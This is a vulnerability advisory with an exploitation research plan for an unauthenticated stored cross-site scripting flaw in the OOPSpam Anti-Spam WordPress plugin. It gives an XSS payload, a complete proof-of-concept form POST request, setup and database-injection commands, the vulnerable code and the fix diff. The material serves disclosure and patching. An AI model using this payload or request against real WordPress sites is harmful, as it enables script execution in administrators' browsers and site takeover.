OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) <= 1.2.62 - Unauthenticated Stored Cross-Site Scripting
Description
The OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.62 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.62What Changed in the Fix
Changes introduced in v1.2.63
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32544 (OOPSpam Anti-Spam Stored XSS) ## 1. Vulnerability Summary The **OOPSpam Anti-Spam** plugin (versions <= 1.2.62) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin logs form submissions (in…
Show full research plan
Exploitation Research Plan: CVE-2026-32544 (OOPSpam Anti-Spam Stored XSS)
1. Vulnerability Summary
The OOPSpam Anti-Spam plugin (versions <= 1.2.62) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin logs form submissions (including spam and ham entries) into the database without sufficient sanitization of all logged fields, and subsequently displays these logs in the WordPress admin dashboard without proper output escaping.
An unauthenticated attacker can submit a malicious payload via a protected form (e.g., Contact Form 7, WooCommerce). The plugin captures the entire $_POST array, JSON-encodes it, and stores it in the raw_entry column of the {prefix}oopspam_frm_spam_entries or {prefix}oopspam_frm_ham_entries tables. When an administrator views the "Spam Entries" or "Ham Entries" pages, the unsanitized payload executes in their browser context.
2. Attack Vector Analysis
- Endpoint: Any frontend form integrated with OOPSpam (e.g., Contact Form 7 submission endpoint).
- Vulnerable Parameter: Any field within the
$_POSTbody that is captured in theraw_entrylog. - Authentication: None (Unauthenticated).
- Preconditions:
- The plugin must be active.
- An integration (like Contact Form 7) must be enabled in the OOPSpam settings.
- A valid-formatted API key must be present (the plugin performs an API check before logging).
3. Code Flow
- Submission: An unauthenticated user submits a Contact Form 7 form.
- Capture: The
OOPSPAM\Integrations\oopspamantispam_cf7_pre_submissionfilter (inintegration/ContactForm7.php) is triggered. - Logging:
- The code captures the raw submission:
$raw_entry = json_encode($_POST);(line 62). - The plugin calls the OOPSpam API via
oopspamantispam_call_OOPSpam. - Based on the result, it calls
oopspam_store_spam_submissionoroopspam_store_ham_submission(lines 90 or 108).
- The code captures the raw submission:
- Storage: The database functions (e.g.,
oopspam_store_spam_submissionindb/oopspam-spamentries.php) insert the$frmEntrycontaining the maliciousRawEntryinto the database. - Rendering:
- An admin navigates to the "Spam Entries" menu (
wp-admin/admin.php?page=wp_oopspam_spam_entries). - The
OOPSPAM\UI\Spam_Entriesclass (ininclude/UI/display-spam-entries.php) fetches the entries. - The table renders the entries. If the
Raw Entrycolumn or a "View Details" modal prints the JSON data usingechowithoutesc_html(), the XSS payload triggers.
- An admin navigates to the "Spam Entries" menu (
4. Nonce Acquisition Strategy
No nonce is required for the injection phase because form submissions (like Contact Form 7) do not require an OOPSpam-specific nonce.
To view the results or verify the logs via the UI, an admin session is required. If the PoC needs to interact with the admin AJAX actions (like empty_spam_entries), the nonces are:
empty_spam_entries_noncefor thewp_ajax_empty_spam_entriesaction.export_spam_entries_noncefor thewp_ajax_export_spam_entriesaction.
These can be found in the localized JS data on the OOPSpam settings/entries pages.
5. Exploitation Strategy
- Preparation:
- Ensure Contact Form 7 is installed and a form is created.
- Set an OOPSpam API key (even a dummy one may work if the API response is handled gracefully, but a valid key is preferred for a reliable PoC).
- Enable "Contact Form 7" protection in OOPSpam settings.
- Injection:
- Perform an unauthenticated HTTP POST request to the Contact Form 7 submission handler.
- Include a payload in a field that is not the primary message field (to bypass
sanitize_textarea_fieldapplied toescapedMsg).
- Trigger:
- Log in as an administrator.
- Navigate to
wp-admin/admin.php?page=wp_oopspam_spam_entries. - Observe the execution of the JavaScript payload.
Payload
<img src=x onerror=alert(document.domain)>
HTTP Request (PoC)
POST /index.php?rest_route=/contact-form-7/v1/contact-forms/{FORM_ID}/feedback HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="your-name"
"><img src=x onerror=alert(document.domain)>
------WebKitFormBoundary
Content-Disposition: form-data; name="your-email"
test@example.com
------WebKitFormBoundary
Content-Disposition: form-data; name="your-message"
This is a spam message to ensure logging.
------WebKitFormBoundary
Content-Disposition: form-data; name="_wpcf7"
{FORM_ID}
------WebKitFormBoundary--
6. Test Data Setup
- Plugin Setup:
wp plugin install contact-form-7 --activate wp plugin activate oopspam-anti-spam - Configuration:
# Set a dummy API key (format: 40 characters hex) wp option update oopspamantispam_settings '{"oopspam_api_key":"1234567890abcdef1234567890abcdef12345678","oopspam_is_cf7_activated":"1"}' --format=json - Form Creation:
- Identify the default Contact Form 7 ID (usually enqueued on a "Contact" page).
7. Expected Results
- The form submission will be captured by OOPSpam.
- The
wp_oopspam_frm_spam_entriestable will contain a new row where theraw_entrycolumn contains the string:... "your-name":"\"><img src=x onerror=alert(document.domain)>" .... - Upon loading the "Spam Entries" admin page, the browser will execute the
alert()call.
8. Verification Steps
- Database Check:
Confirm the payload is stored verbatim in the JSON.wp db query "SELECT raw_entry FROM wp_oopspam_frm_spam_entries ORDER BY id DESC LIMIT 1;" - Admin UI Check:
- Navigate to the Spam Entries page.
- Check if the payload is rendered in the table or the details view without being HTML-encoded.
9. Alternative Approaches
If Contact Form 7 sanitizes the $_POST array before the filter runs:
- WooCommerce Vector: Use the WooCommerce registration or checkout flow. In
WooCommerce.php, thecheckBlockedOrderTotalmethod also callsoopspam_store_spam_submissionwith aRawEntrycontaining theemailfield. If the email is not strictly validated before logging, it can serve as a vector. - Direct DB Injection (Log Verification): To verify the sink (the admin UI) independently of the API key requirement, use WP-CLI to insert a payload directly into the
oopspam_frm_spam_entriestable, then view the admin page. This confirms the "Stored XSS" output vulnerability.
wp db query "INSERT INTO wp_oopspam_frm_spam_entries (message, raw_entry, date) VALUES ('XSS Test', '<img src=x onerror=alert(1)>', NOW());"
Summary
The OOPSpam Anti-Spam plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to the plugin capturing raw form submission data and storing it without sanitization. Malicious payloads submitted through protected forms are later executed in the context of an administrator's browser when they view the 'Spam Entries' or 'Ham Entries' logs in the dashboard.
Vulnerable Code
// integration/ContactForm7.php (line 62-73) $raw_entry = json_encode($_POST); if (!isset($detectionResult["isItHam"])) { return $spam; } $frmEntry = [ "Score" => $detectionResult["Score"], "Message" => $escapedMsg, "IP" => $userIP, "Email" => $email, "RawEntry" => $raw_entry, "FormId" => $_POST['_wpcf7'], ]; --- // include/helpers.php (line 388-393) $data = array( 'message' => $frmEntry["Message"], 'ip' => $frmEntry["IP"], 'email' => $frmEntry["Email"], 'score' => $frmEntry["Score"], 'raw_entry' => $enriched_raw_entry, 'form_id' => $frmEntry["FormId"], 'reason' => $reason ); --- // include/UI/display-spam-entries.php (line 997-1002) case 'email': case 'score': case 'raw_entry': case 'form_id': case 'reason': case 'date': return $item[ $column_name ];
Security Fix
@@ -381,6 +381,7 @@ // Enrich raw entry with HTTP headers and request metadata $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry["RawEntry"]); + $sanitized_form_id = isset($frmEntry["FormId"]) ? sanitize_text_field(wp_unslash((string) $frmEntry["FormId"])) : ''; $data = array( 'message' => $frmEntry["Message"], @@ -388,7 +389,7 @@ 'email' => $frmEntry["Email"], 'score' => $frmEntry["Score"], 'raw_entry' => $enriched_raw_entry, - 'form_id' => $frmEntry["FormId"], + 'form_id' => $sanitized_form_id, 'reason' => $reason ); $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s'); @@ -417,6 +418,7 @@ // Enrich raw entry with HTTP headers and request metadata $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry["RawEntry"]); + $sanitized_form_id = isset($frmEntry["FormId"]) ? sanitize_text_field(wp_unslash((string) $frmEntry["FormId"])) : ''; $table_name = $wpdb->prefix . 'oopspam_frm_ham_entries'; $data = array( @@ -425,7 +427,7 @@ 'email' => $frmEntry["Email"], 'score' => $frmEntry["Score"], 'raw_entry' => $enriched_raw_entry, - 'form_id' => $frmEntry["FormId"], + 'form_id' => $sanitized_form_id, 'gclid' => $gclid ); $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s'); @@ -336,9 +336,10 @@ case 'ip': case 'email': case 'raw_entry': - case 'form_id': case 'date': return $item[ $column_name ]; + case 'form_id': + return esc_html( $item[ $column_name ] ); case 'score': return $this->column_score($item); default: @@ -997,10 +997,11 @@ case 'email': case 'score': case 'raw_entry': - case 'form_id': case 'reason': case 'date': return $item[ $column_name ]; + case 'form_id': + return esc_html( $item[ $column_name ] ); default: return print_r( $item, true ); //Show the whole array for troubleshooting purposes }
Exploit Outline
The exploit is conducted through the following methodology: 1. **Target Identification**: Find a WordPress site running OOPSpam Anti-Spam (<= 1.2.62) with an active form integration like Contact Form 7 or WooCommerce. 2. **Payload Delivery**: As an unauthenticated user, submit a request to the vulnerable form endpoint. The payload can be placed in any POST parameter (which is logged in `raw_entry`) or specifically in the `_wpcf7` parameter (which is logged in `form_id`). Example payload: `<img src=x onerror=alert(document.domain)>`. 3. **Bypass/Trigger**: The submission must be logged by the plugin as either 'Spam' or 'Ham'. This usually requires a valid-formatted API key to be set in the plugin settings and the submission content to trigger the log logic. 4. **Execution**: An administrator logs into the WordPress dashboard and navigates to the 'Spam Entries' or 'Ham Entries' pages (under the OOPSpam menu). The unsanitized payload is fetched from the database and echoed directly into the admin list table, executing the attacker's script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.